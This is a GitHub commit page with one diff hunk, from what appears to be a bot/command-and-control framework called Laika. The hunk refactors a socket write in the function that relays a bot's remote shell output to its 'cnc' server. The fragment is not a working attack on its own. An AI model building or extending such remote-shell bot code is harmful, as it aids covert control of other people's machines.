1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-14 19:40:24 +00:00

lsocket.[ch]: refactored writeInt && readInt

- switched to laikaS_readu* && laikaS_writeu*
- this gets rid of the ugly malloc() for platforms that don't support VLAs
This commit is contained in:
2022-09-07 16:46:18 -05:00
parent dc91a207b1
commit 6ab280d010
12 changed files with 95 additions and 79 deletions

View File

@@ -184,7 +184,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
if (readSucc) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {